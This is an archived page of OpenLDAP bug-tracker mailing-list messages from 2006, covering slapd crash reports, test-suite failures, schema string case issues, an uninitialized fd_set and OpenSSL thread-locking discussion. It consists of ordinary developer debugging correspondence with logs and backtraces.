- openldap-bugs - openldap.org

Re: ITS#3812 database config documentation
by raphael.ouazana＠linagora.com 06 Dec '06

06 Dec '06

On Jeu 16 novembre 2006 12:09, hyc(a)symas.com wrote: > I've committed a preliminary slapd-config.5 manpage to HEAD. In > anticipation of deleting slurpd from RE24, I have commented out all of > the slurpd-related keywords. Most of the text is the same as in > slapd.conf(5) but I've changed the organization to better reflect the > actual implementation. > > There may be options that I've missed. Please review and send patches / > corrections / comments. Thank you very much for this work. I've only some comments. Even if it is shown in the Examples part, I think the use of slapd.conf and slapd.d at the same time should be explained as it is in slapd(8). Furthermore slapd-config(5) make references to slapd-bdb(5), slapd-ldap(5) and others but these pages use old config style. Maybe you could add in a first time a note to indicate that users should add olc prefix to use these directives in cn=config branch. Of course I hope every pages will be updated one day... Raphael Ouazana. PS: I'm not able to see slapd-config(5) with man.cgi on the website (even if I use OpenLDAP 2.X-Devel). Is it normal ?

1 0

(ITS#4769) conditional as macro argument may be invalid
by ando＠sys-net.it 06 Dec '06

06 Dec '06

Full_Name: Pierangelo Masarati Version: HEAD, >= 2.3.29 OS: Solaris 8 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (212.214.117.67) There's a conditional in a macro argument in connection.c that gcc (actually, cpp) 3.4.2 doesn't like. The fix will be shortly in HEAD/re23. p.

1 0

(ITS#4768) test043-delta-syncrepl: line 55: 10507 Aborted
by michael＠stroeder.com 05 Dec '06

05 Dec '06

Full_Name: Michael Ströder Version: HEAD OS: SuSE Linux 10.1 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (77.177.36.63) $ ./run -b bdb test043 Cleaning up test run directory leftover from previous run. Running ./scripts/test043-delta-syncrepl... running defines.sh Starting master slapd on TCP/IP port 9011... ./scripts/test043-delta-syncrepl: line 55: 10507 Aborted $SLAPD -f $CONF1 -h $URI1 -d $LVL $TIMING >$LOG1 2>&1 Using ldapsearch to check that master slapd is running... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... ldapsearch failed (255)! ./scripts/test043-delta-syncrepl: line 71: kill: (10507) - No such process

1 0

Re: (ITS#4767) test034-translucent: line 369: 9807 Segmentation fault
by michael＠stroeder.com 05 Dec '06

05 Dec '06

Seems to be ok now (synced HEAD). Ciao, Michael.

1 0

(ITS#4767) test034-translucent: line 369: 9807 Segmentation fault
by michael＠stroeder.com 04 Dec '06

04 Dec '06

Full_Name: Michael Ströder Version: HEAD OS: SuSE Linux 10.1 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (83.124.3.87) [..] Testing add: valid local record... Testing search: data merging... Testing compare: valid local... Testing compare: valid remote... Testing compare: bogus local... Testing compare: bogus remote... Testing modify: nonexistent record... Testing modify: valid local record, nonexistent attribute... Testing search: specific nonexistent remote attribute... Testing modify: nonexistent local record, nonexistent attribute... ./scripts/test034-translucent: line 369: 9807 Segmentation fault $SLAPD -f $CONF2 -h $URI2 -d $LVL $TIMING >$LOG2 2>&1 ldapsearch failed (255)! ./scripts/test034-translucent: line 384: kill: (9807) - No such process ------------------------------------------------------------------------- last lines of testrun/slapd.2.log => bdb_entry_get: ndn: "uid=fred,ou=users,o=translucent" => bdb_entry_get: oc: "(null)", at: "(null)" bdb_dn2entry("uid=fred,ou=users,o=translucent") => bdb_dn2id("uid=fred,ou=users,o=translucent") <= bdb_dn2id: get failed: DB_NOTFOUND: No matching key/data pair found (-30989) => translucent_modify: fabricating local add => glue_parent: fabricating glue for <ou=users,o=translucent> ==> bdb_add: o=translucent bdb_dn2entry("o=translucent") send_ldap_result: conn=17 op=1 p=3 send_ldap_result: err=68 matched="" text="" ==> bdb_add: ou=users,o=translucent bdb_dn2entry("ou=users,o=translucent") send_ldap_result: conn=17 op=1 p=3 send_ldap_result: err=68 matched="" text="" ==> bdb_add: uid=fred,ou=users,o=translucent is_entry_objectclass("uid=fred,ou=users,o=translucent", "2.5.17.0") no objectClass attribute is_entry_objectclass("uid=fred,ou=users,o=translucent", "2.5.17.0") no objectClass attribute bdb_dn2entry("uid=fred,ou=users,o=translucent") => bdb_dn2id("uid=fred,ou=users,o=translucent") <= bdb_dn2id: get failed: DB_NOTFOUND: No matching key/data pair found (-30989) => bdb_dn2id_add( "uid=fred,ou=users,o=translucent", 0x00000007 ) bdb_idl_insert_key: 7 %ou=users,o=translucent bdb_idl_insert_key: 7 @ou=users,o=translucent <= bdb_dn2id_add: 0 => index_entry_add( 7, "uid=fred,ou=users,o=translucent" ) <= index_entry_add( 7, "uid=fred,ou=users,o=translucent" ) success => entry_encode(0x00000007): uid=fred,ou=users,o=translucent bdb_add: added id=00000007 dn="uid=fred,ou=users,o=translucent" send_ldap_result: conn=17 op=1 p=3 send_ldap_result: err=0 matched="" text="" send_ldap_response: msgid=2 tag=103 err=0 ber_flush2: 14 bytes to sd 12

1 0

Re: (ITS#4765) sd_actives in daemon.c not initialized?
by hyc＠symas.com 03 Dec '06

03 Dec '06

Gang Wang wrote: > Yes. but funny that you invoked FD_ZERO() for sd_readers and sd_writers. > You are assuming the semantics of FD_ZERO() is to "set something as > zero", but on some system it is not. For example, implement fd_set as an > array, then 0 is a valid value. FD_ZERO() have to initialize something > as -1 ... > Funny that the code treat sd_actives differently. Thanks for pointing this out, the missing initialization has been added in CVS HEAD. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4766) Invalid DN not detected by bindconf_parse()
by ando＠sys-net.it 02 Dec '06

02 Dec '06

ando(a)sys-net.it wrote: > I've added optional normalization code as appropriate. > Fixed in HEAD/re23. It impacts all occurrences of bindconf_parse(), including syncrepl consumer side configuration, whenever an incorrect DN value is used as binddn, or an incorrect identity is used for authcid/authzid. p.

1 0

(ITS#4766) Invalid DN not detected by bindconf_parse()
by ando＠sys-net.it 02 Dec '06

02 Dec '06

Full_Name: Pierangelo Masarati Version: HEAD/re23 OS: irrelevant URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (87.28.220.33) Submitted by: ando I've added optional normalization code as appropriate. p.

1 0

Re: (ITS#4764) ditStructureRules/dITStructureRules typo error?
by ando＠sys-net.it 02 Dec '06

02 Dec '06

Kurt(a)OpenLDAP.org wrote: > At 11:59 PM 11/30/2006, wanggang.wang(a)gmail.com wrote: > >> ------=_Part_1103_3773705.1164959961858 >> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >> Content-Transfer-Encoding: 7bit >> Content-Disposition: inline >> >> oh, not compiler. but at runtime the daemon will output this during >> initialization: >> ... >> slap_schema_load: AttributeType "ditStructureRules": not defined in schema >> ... >> I tested this on some mainframe. case difference does matter. when i changed >> the case, it ran ok. >> > > Seems like strcasecmp(3) routines are not ignoring case as they should. > I've made the case of those strings conform to how they're indicated in the related RFC, although attribute names MUST be case insensitive. This solves your problem in the short term, but you should really look at that strcasecmp(3) issue. p.

1 0

OpenLDAP crash on write operation with syncprov overlay enabled
by Alexandre Biancalana 01 Dec '06

01 Dec '06

Hi list, I'm migration an OpenLDAP server from Debian linux to FreeBSD 6-STABLE. I exported the database from old server with slapcat and impoted at Free without any problems. But when I enable syncprov overlay and do any write operation (ie.: ldapmodify) on the base the OpenLDAP crash with signal 11. I tested with FreeBSD 6-STABLE (cvsuped sources yesterday), FreeBSD 5-STABLE (cvsuped one month ago) with OpenLDAP 2.3 and 2.4 installed through ports and packages, on diferent machines PIII SMP, Semprom UP, Centrino UP, P4 UP. The problem just ocurs when the syncprov overlay is enabled. Trying to debug this I run slapd through gdb: Pink:/usr/local/etc/openldap # gdb /usr/local/libexec/slapd GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"...(no debugging symbols found)... (gdb) run -u ldap -g ldap -d 1 Starting program: /usr/local/libexec/slapd -u ldap -g ldap -d 1 (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...@(#) $OpenLDAP: slapd 2.3.30 (Nov 30 2006 11:44:46) $ .(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...@(#) $OpenLDAP: slapd 2.3.30 (Nov 30 2006 11:44:46) $ Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 3 (LWP 100229)] 0x0807f954 in fe_op_abandon () (gdb) bt #0 0x0807f954 in fe_op_abandon () #1 0x0807f957 in fe_op_abandon () #2 0x0807f957 in fe_op_abandon () #3 0x0807f957 in fe_op_abandon () #4 0x0807f957 in fe_op_abandon () #5 0x0807f957 in fe_op_abandon () #6 0x0807f957 in fe_op_abandon () #7 0x0807f957 in fe_op_abandon () #8 0x0807f957 in fe_op_abandon () #9 0x0807f957 in fe_op_abandon () #10 0x0807f957 in fe_op_abandon () #11 0x0807f957 in fe_op_abandon () #12 0x0807f957 in fe_op_abandon () #13 0x0807f957 in fe_op_abandon () #14 0x0807f957 in fe_op_abandon () #15 0x0807f957 in fe_op_abandon () #16 0x0807f957 in fe_op_abandon () #17 0x0807f957 in fe_op_abandon () #18 0x0807f957 in fe_op_abandon () #19 0x0807f957 in fe_op_abandon () #20 0x0807f957 in fe_op_abandon () #21 0x0807f957 in fe_op_abandon () #22 0x0807f957 in fe_op_abandon () #23 0x0807f957 in fe_op_abandon () #24 0x0807f957 in fe_op_abandon () #25 0x0807f957 in fe_op_abandon () #26 0x0807f957 in fe_op_abandon () #27 0x0807f957 in fe_op_abandon () #28 0x0807f957 in fe_op_abandon () .... #29406 0x0807f957 in fe_op_abandon () #29407 0x0807f957 in fe_op_abandon () #29408 0x0807f957 in fe_op_abandon () ^^^^^^^^^ ---> This look's like never end..... Follow my slapd.conf: ============================ include /usr/local/etc/openldap/schema/core.schema include /usr/local/etc/openldap/schema/cosine.schema include /usr/local/etc/openldap/schema/inetorgperson.schema include /usr/local/etc/openldap/schema/nis.schema include /usr/local/etc/openldap/schema/samba.schema loglevel 1 8 16 256 512 16384 pidfile /var/run/openldap/slapd.pid argsfile /var/run/openldap/slapd.args modulepath /usr/local/libexec/openldap moduleload back_hdb sizelimit unlimited overlay syncprov syncprov-checkpoint 100 10 syncprov-sessionlog 200 access to dn.base="" by self write by * auth access to attrs=userPassword by self write by * auth access to attrs=shadowLastChange by self write by * read access to * by * read by anonymous auth database hdb suffix "dc=company,dc=com" rootdn "cn=root,dc=company,dc=com" rootpw my_secret_password directory /var/db/openldap-data index objectClass eq index cn pres,sub,eq index sn pres,sub,eq index uid pres,sub,eq index displayName pres,sub,eq index uidNumber eq index gidNumber eq index memberUID eq index sambaSID eq index sambaPrimaryGroupSID eq index sambaDomainName eq index default sub index entryCSN eq index entryUUID eq I'm very pleased to someone that could help me to figure out where is the problem.... Best Regards, Alexandre Biancalana

2 2

Re: (ITS#4764) ditStructureRules/dITStructureRules typo error?
by Kurt＠OpenLDAP.org 01 Dec '06

01 Dec '06

At 11:59 PM 11/30/2006, wanggang.wang(a)gmail.com wrote: >------=_Part_1103_3773705.1164959961858 >Content-Type: text/plain; charset=ISO-8859-1; format=flowed >Content-Transfer-Encoding: 7bit >Content-Disposition: inline > >oh, not compiler. but at runtime the daemon will output this during >initialization: >... >slap_schema_load: AttributeType "ditStructureRules": not defined in schema >... >I tested this on some mainframe. case difference does matter. when i changed >the case, it ran ok. Seems like strcasecmp(3) routines are not ignoring case as they should. >On 12/1/06, Kurt D. Zeilenga <Kurt(a)openldap.org> wrote: >> >> At 10:32 PM 11/30/2006, wanggang.wang(a)gmail.com wrote: >> >Full_Name: Gang Wang >> >Version: 2.3.20 >> >OS: >> >URL: ftp://ftp.openldap.org/incoming/ >> >Submission from: (NULL) (202.108.130.138) >> > >> > >> >openldap-2.3.20/servers/slapd/schema_prep.c Line 370 >> > >> > "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " >> > { "ditStructureRules", "( 2.5.21.1 NAME 'dITStructureRules' " >> > { "ditContentRules", "( 2.5.21.2 NAME 'dITContentRules' " >> > >> >there are some "dIT" in the strings instead of "dit". is it some kind of >> typo >> >error? I'm porting this version to some operating system. the compiler >> complains >> >... >> >> About the case difference in these strings? I doubt that. >> >> Kurt >> >> > >------=_Part_1103_3773705.1164959961858 >Content-Type: text/html; charset=ISO-8859-1 >Content-Transfer-Encoding: 7bit >Content-Disposition: inline > >oh, not compiler. but at runtime the daemon will output this during initialization: ... slap_schema_load: AttributeType "ditStructureRules": not defined in schema ... I tested this on some mainframe. case difference does matter. when i changed the case, it ran ok. > <div>On 12/1/06, Kurt D. Zeilenga <<a href="mailto:Kurt@openldap.org">Kurt(a)openldap.org</a>> wrote:<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"> >At 10:32 PM 11/30/2006, <a href="mailto:wanggang.wang@gmail.com">wanggang.wang(a)gmail.com</a> wrote: >Full_Name: Gang Wang >Version: 2.3.20 >OS: >URL: <a href="ftp://ftp.openldap.org/incoming/">ftp://ftp.openldap.org/incoming/ ></a> >Submission from: (NULL) (<a href="http://202.108.130.138">202.108.130.138</a>) > > >openldap-2.3.20/servers/slapd/schema_prep.c Line 370 > >        "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " > >        { "ditStructureRules", "( <a href="http://2.5.21.1">2.5.21.1</a> NAME 'dITStructureRules' " >        { "ditContentRules", "( <a href="http://2.5.21.2">2.5.21.2</a> NAME 'dITContentRules' " > > >there are some "dIT" in the strings instead of "dit". is it some kind of typo >error?  I'm porting this version to some operating system. the compiler complains >... >About the case difference in these strings?  I doubt that. Kurt </blockquote></div> > >------=_Part_1103_3773705.1164959961858--

1 0

Re: (ITS#4765) sd_actives in daemon.c not initialized?
by hyc＠symas.com 01 Dec '06

01 Dec '06

Gang Wang wrote: > Yes. but funny that you invoked FD_ZERO() for sd_readers and sd_writers. > You are assuming the semantics of FD_ZERO() is to "set something as > zero", but on some system it is not. For example, implement fd_set as an > array, then 0 is a valid value. FD_ZERO() have to initialize something > as -1 ... > Funny that the code treat sd_actives differently. That's a different question than you asked at first. > BTW, I know C spec well. Then you should know your original question has no dependency on the compiler being used. Rather than waste people's time, you should ask your actual question at the outset, not some meaningless one. > > On 12/1/06, *Howard Chu* <hyc(a)symas.com <mailto:hyc@symas.com>> wrote: > > wanggang.wang(a)gmail.com <mailto:wanggang.wang@gmail.com> wrote: > > Full_Name: Gang Wang > > Version: 2.3.20 > > OS: > > URL: ftp://ftp.openldap.org/incoming/ > > Submission from: (NULL) ( 202.108.130.138 <http://202.108.130.138>) > > > > > > openldap-2.3.20/servers/slapd/daemon.c > > > > There is one declaration in slap_daemon structure: > > > > fd_set sd_actives; > > > > this variable is not initialized ... is this OK with all compilers? -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4765) sd_actives in daemon.c not initialized?
by wanggang.wang＠gmail.com 01 Dec '06

01 Dec '06

------=_Part_1433_15850837.1164961653601 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Yes. but funny that you invoked FD_ZERO() for sd_readers and sd_writers. You are assuming the semantics of FD_ZERO() is to "set something as zero", but on some system it is not. For example, implement fd_set as an array, then 0 is a valid value. FD_ZERO() have to initialize something as -1 ... Funny that the code treat sd_actives differently. BTW, I know C spec well. On 12/1/06, Howard Chu <hyc(a)symas.com> wrote: > > wanggang.wang(a)gmail.com wrote: > > Full_Name: Gang Wang > > Version: 2.3.20 > > OS: > > URL: ftp://ftp.openldap.org/incoming/ > > Submission from: (NULL) (202.108.130.138) > > > > > > openldap-2.3.20/servers/slapd/daemon.c > > > > There is one declaration in slap_daemon structure: > > > > fd_set sd_actives; > > > > this variable is not initialized ... is this OK with all compilers? > > It is a basic part of the C language specification - variables declared > at file scope are implicitly initialized to zero. Perhaps you need to > study the language a bit more before trying to do any more work in it. > > -- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/ > ------=_Part_1433_15850837.1164961653601 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Yes. but funny that you invoked FD_ZERO() for sd_readers and sd_writers. You are assuming the semantics of FD_ZERO() is to "set something as zero", but on some system it is not. For example, implement fd_set as an array, then 0 is a valid value. FD_ZERO() have to initialize something as -1 ... Funny that the code treat sd_actives differently. BTW, I know C spec well. <div>On 12/1/06, Howard Chu <<a href="mailto:hyc@symas.com">hyc(a)symas.com </a>> wrote:<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"><a href="mailto:wanggang.wang@gmail.com">wanggang.wang(a)gmail.com</a> wrote: > Full_Name: Gang Wang > Version: 2.3.20 > OS: > URL: <a href="ftp://ftp.openldap.org/incoming/">ftp://ftp.openldap.org/incoming/</a> > Submission from: (NULL) (<a href="http://202.108.130.138"> 202.108.130.138</a>) > > > openldap-2.3.20/servers/slapd/daemon.c > > There is one declaration in slap_daemon structure: > >     fd_set sd_actives; > > this variable is not initialized ... is this OK with all compilers? It is a basic part of the C language specification - variables declared at file scope are implicitly initialized to zero. Perhaps you need to study the language a bit more before trying to do any more work in it. --    -- Howard Chu    Chief Architect, Symas Corp.  <a href="http://www.symas.com">http://www.symas.com</a>    Director, Highland Sun        <a href="http://highlandsun.com/hyc">http://highlandsun.com/hyc </a>    OpenLDAP Core Team            <a href="http://www.openldap.org/project/">http://www.openldap.org/project/</a> </blockquote></div> ------=_Part_1433_15850837.1164961653601--

1 0

Re: (ITS#4764) ditStructureRules/dITStructureRules typo error?
by wanggang.wang＠gmail.com 30 Nov '06

30 Nov '06

------=_Part_1103_3773705.1164959961858 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline oh, not compiler. but at runtime the daemon will output this during initialization: ... slap_schema_load: AttributeType "ditStructureRules": not defined in schema ... I tested this on some mainframe. case difference does matter. when i changed the case, it ran ok. On 12/1/06, Kurt D. Zeilenga <Kurt(a)openldap.org> wrote: > > At 10:32 PM 11/30/2006, wanggang.wang(a)gmail.com wrote: > >Full_Name: Gang Wang > >Version: 2.3.20 > >OS: > >URL: ftp://ftp.openldap.org/incoming/ > >Submission from: (NULL) (202.108.130.138) > > > > > >openldap-2.3.20/servers/slapd/schema_prep.c Line 370 > > > > "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " > > { "ditStructureRules", "( 2.5.21.1 NAME 'dITStructureRules' " > > { "ditContentRules", "( 2.5.21.2 NAME 'dITContentRules' " > > > >there are some "dIT" in the strings instead of "dit". is it some kind of > typo > >error? I'm porting this version to some operating system. the compiler > complains > >... > > About the case difference in these strings? I doubt that. > > Kurt > > ------=_Part_1103_3773705.1164959961858 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline oh, not compiler. but at runtime the daemon will output this during initialization: ... slap_schema_load: AttributeType "ditStructureRules": not defined in schema ... I tested this on some mainframe. case difference does matter. when i changed the case, it ran ok. <div>On 12/1/06, Kurt D. Zeilenga <<a href="mailto:Kurt@openldap.org">Kurt(a)openldap.org</a>> wrote:<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"> At 10:32 PM 11/30/2006, <a href="mailto:wanggang.wang@gmail.com">wanggang.wang(a)gmail.com</a> wrote: >Full_Name: Gang Wang >Version: 2.3.20 >OS: >URL: <a href="ftp://ftp.openldap.org/incoming/">ftp://ftp.openldap.org/incoming/ </a> >Submission from: (NULL) (<a href="http://202.108.130.138">202.108.130.138</a>) > > >openldap-2.3.20/servers/slapd/schema_prep.c Line 370 > >        "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " >        { "ditStructureRules", "( <a href="http://2.5.21.1">2.5.21.1</a> NAME 'dITStructureRules' " >        { "ditContentRules", "( <a href="http://2.5.21.2">2.5.21.2</a> NAME 'dITContentRules' " > >there are some "dIT" in the strings instead of "dit". is it some kind of typo >error?  I'm porting this version to some operating system. the compiler complains >... About the case difference in these strings?  I doubt that. Kurt </blockquote></div> ------=_Part_1103_3773705.1164959961858--

1 0

Re: (ITS#4764) ditStructureRules/dITStructureRules typo error?
by Kurt＠OpenLDAP.org 30 Nov '06

30 Nov '06

At 10:32 PM 11/30/2006, wanggang.wang(a)gmail.com wrote: >Full_Name: Gang Wang >Version: 2.3.20 >OS: >URL: ftp://ftp.openldap.org/incoming/ >Submission from: (NULL) (202.108.130.138) > > >openldap-2.3.20/servers/slapd/schema_prep.c Line 370 > > "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " > { "ditStructureRules", "( 2.5.21.1 NAME 'dITStructureRules' " > { "ditContentRules", "( 2.5.21.2 NAME 'dITContentRules' " > >there are some "dIT" in the strings instead of "dit". is it some kind of typo >error? I'm porting this version to some operating system. the compiler complains >... About the case difference in these strings? I doubt that. Kurt

1 0

Re: (ITS#4763) slapd crashed with ldapsearch command without arguments
by hyc＠symas.com 30 Nov '06

30 Nov '06

Since it appears that you're using BerkeleyDB 4.5 which is not the default version installed on your platform, most likely you have conflicting libdb libraries loaded. If you're using the default libsasl2, then this is certainly the problem. You can find out for sure by running slapd under gdb. When it crashes use the command "info shared" to see what shared libraries are present. If you see two different versions of libdb, that's your problem. You'll need to rebuild whatever other libraries are using the other libdb version and get everything onto the same version. At any rate, I don't believe there's any bug in OpenLDAP software here. This ITS will be closed. saint.cn(a)gmail.com wrote: > Full_Name: Jack Chen > Version: 2.3.27 > OS: Redhat AS 3.0 2.4.21-40.ELsmp > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (60.12.9.18) > > > I found when I run ldap commands without arguments always get password imput > requirement before result. But the command always told me > "ldap_sasl_interactive_bind_s: Can't contact LDAP server". Then I found the > slapd crashed. > > Then I start slpad with command like "slpad -d 256" with root account and want > to get debug information before slpad crash. > > Then following is the startup information: > ===================================================================== > @(#) $OpenLDAP: slapd 2.3.27 (Sep 30 2006 16:10:17) $ > root@caivs:/home/jack/tools/openldap-2.3.27/servers/slapd > daemon: IPv6 socket() failed errno=97 (Address family not supported by > protocol) > bdb_db_open: unclean shutdown detected; attempting recovery. > bdb_db_open: Warning - No DB_CONFIG file found in directory > /usr/local/openldap/var/openldap-data: (2) > Expect poor performance for suffix dc=test,dc=com. > slapd starting > ===================================================================== > > And when I input command "ldapsearch" in shell with root account, and input > password with any words and return. The command tell me like following: > ===================================================================== > /usr/local/BerkeleyDB.4.5/bin:$ldapsearch > SASL/DIGEST-MD5 authentication started > Please enter your password: > ldap_sasl_interactive_bind_s: Can't contact LDAP server > ===================================================================== > > And I check the console which is running slapd, and get following information: > ===================================================================== > conn=0 fd=10 ACCEPT from IP=127.0.0.1:33518 (IP=0.0.0.0:389) > conn=0 op=0 SRCH base="" scope=0 deref=0 filter="(objectClass=*)" > conn=0 op=0 SRCH attr=supportedSASLMechanisms > conn=0 op=0 SEARCH RESULT tag=101 err=0 nentries=1 text= > conn=0 op=1 BIND dn="" method=163 > conn=0 op=1 RESULT tag=97 err=14 text= > conn=0 op=2 BIND dn="" method=163 > /etc/sasldb2: Successful return: 0 > segment fault (core dumped) > ===================================================================== -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4765) sd_actives in daemon.c not initialized?
by hyc＠symas.com 30 Nov '06

30 Nov '06

wanggang.wang(a)gmail.com wrote: > Full_Name: Gang Wang > Version: 2.3.20 > OS: > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (202.108.130.138) > > > openldap-2.3.20/servers/slapd/daemon.c > > There is one declaration in slap_daemon structure: > > fd_set sd_actives; > > this variable is not initialized ... is this OK with all compilers? It is a basic part of the C language specification - variables declared at file scope are implicitly initialized to zero. Perhaps you need to study the language a bit more before trying to do any more work in it. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

(ITS#4765) sd_actives in daemon.c not initialized?
by wanggang.wang＠gmail.com 30 Nov '06

30 Nov '06

Full_Name: Gang Wang Version: 2.3.20 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (202.108.130.138) openldap-2.3.20/servers/slapd/daemon.c There is one declaration in slap_daemon structure: fd_set sd_actives; this variable is not initialized ... is this OK with all compilers?

1 0

(ITS#4764) ditStructureRules/dITStructureRules typo error?
by wanggang.wang＠gmail.com 30 Nov '06

30 Nov '06

Full_Name: Gang Wang Version: 2.3.20 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (202.108.130.138) openldap-2.3.20/servers/slapd/schema_prep.c Line 370 "MAY ( dITStructureRules $ nameForms $ ditContentRules $ " { "ditStructureRules", "( 2.5.21.1 NAME 'dITStructureRules' " { "ditContentRules", "( 2.5.21.2 NAME 'dITContentRules' " there are some "dIT" in the strings instead of "dit". is it some kind of typo error? I'm porting this version to some operating system. the compiler complains ...

1 0

Re: (ITS#4723) SEGV in syncprov search
by hyc＠symas.com 29 Nov '06

29 Nov '06

Aaron Richton wrote: > Actually, this could be it exactly. To my reading, the 0.9.8d tarball > still defaults to (an extremely dangerous) getpid(). 2.3.30 never uses > CRYPTO_set_id_callback. And the most recent thread I see on the matter > ended > (http://www.mail-archive.com/openssl-dev@openssl.org/msg21037.html) with > an attitude of "Yeah, if anything, we should make things break more > frequently when there's no callback set." Perhaps we should be adding > one, with a bit of platform awareness through lutil? In the current OpenSSL, the address of errno is tested as well. Since this is always unique per thread, there's really no need to set the id callback any more. The problem with just using CRYPTO_set_id_callback is that it doesn't work on platforms where a thread ID is not an integer (e.g. OS/390). I don't think CRYPTO_set_idptr_callback was available in earlier OpenSSL releases. Too bad they didn't define CRYPTO_set_id_callback correctly, to return the actual type of a thread ID instead of unsigned long. > > On Wed, 29 Nov 2006, Howard Chu wrote: > >> Aaron Richton wrote: >>> I'm on latest 0.9.7 release. I can try and put together a slapd with >>> 0.9.8d, and I guess if we're going to (potentially?) be pointing >>> fingers toward OpenSSL that's a good idea anyway... >> >> Yes, definitely a good idea. The prior releases always used getpid() >> to determine the threadID of the current thread, to decide if locking >> was needed. This is obviously only correct on old systems running >> LinuxThreads, where each thread was actually a separate process. It's >> surprising that it wasn't until recently that we've started seeing >> crashes caused by this bug. > > . > -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 29 Nov '06

29 Nov '06

Actually, this could be it exactly. To my reading, the 0.9.8d tarball still defaults to (an extremely dangerous) getpid(). 2.3.30 never uses CRYPTO_set_id_callback. And the most recent thread I see on the matter ended (http://www.mail-archive.com/openssl-dev@openssl.org/msg21037.html) with an attitude of "Yeah, if anything, we should make things break more frequently when there's no callback set." Perhaps we should be adding one, with a bit of platform awareness through lutil? On Wed, 29 Nov 2006, Howard Chu wrote: > Aaron Richton wrote: >> I'm on latest 0.9.7 release. I can try and put together a slapd with >> 0.9.8d, and I guess if we're going to (potentially?) be pointing fingers >> toward OpenSSL that's a good idea anyway... > > Yes, definitely a good idea. The prior releases always used getpid() to > determine the threadID of the current thread, to decide if locking was > needed. This is obviously only correct on old systems running LinuxThreads, > where each thread was actually a separate process. It's surprising that it > wasn't until recently that we've started seeing crashes caused by this bug.

1 0

Re: (ITS#4723) SEGV in syncprov search
by hyc＠symas.com 29 Nov '06

29 Nov '06

Aaron Richton wrote: > I'm on latest 0.9.7 release. I can try and put together a slapd with > 0.9.8d, and I guess if we're going to (potentially?) be pointing fingers > toward OpenSSL that's a good idea anyway... Yes, definitely a good idea. The prior releases always used getpid() to determine the threadID of the current thread, to decide if locking was needed. This is obviously only correct on old systems running LinuxThreads, where each thread was actually a separate process. It's surprising that it wasn't until recently that we've started seeing crashes caused by this bug. > > On Tue, 28 Nov 2006, Howard Chu wrote: > >> richton(a)nbcs.rutgers.edu wrote: >>> Here's another, although without a malloc debugger: >> >>> What would be good ways to go about figuring out if this is an issue >>> with the SSL library or slapd's usage thereof? >> >> What version of OpenSSL are you using? I've definitely encountered >> locking issues in 0.9.7 and early 0.9.8 releases. Some of those are >> supposed to be fixed in the latest 0.9.8. >> >> -- >> -- Howard Chu >> Chief Architect, Symas Corp. http://www.symas.com >> Director, Highland Sun http://highlandsun.com/hyc >> OpenLDAP Core Team http://www.openldap.org/project/ >> > > . > -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 28 Nov '06

28 Nov '06

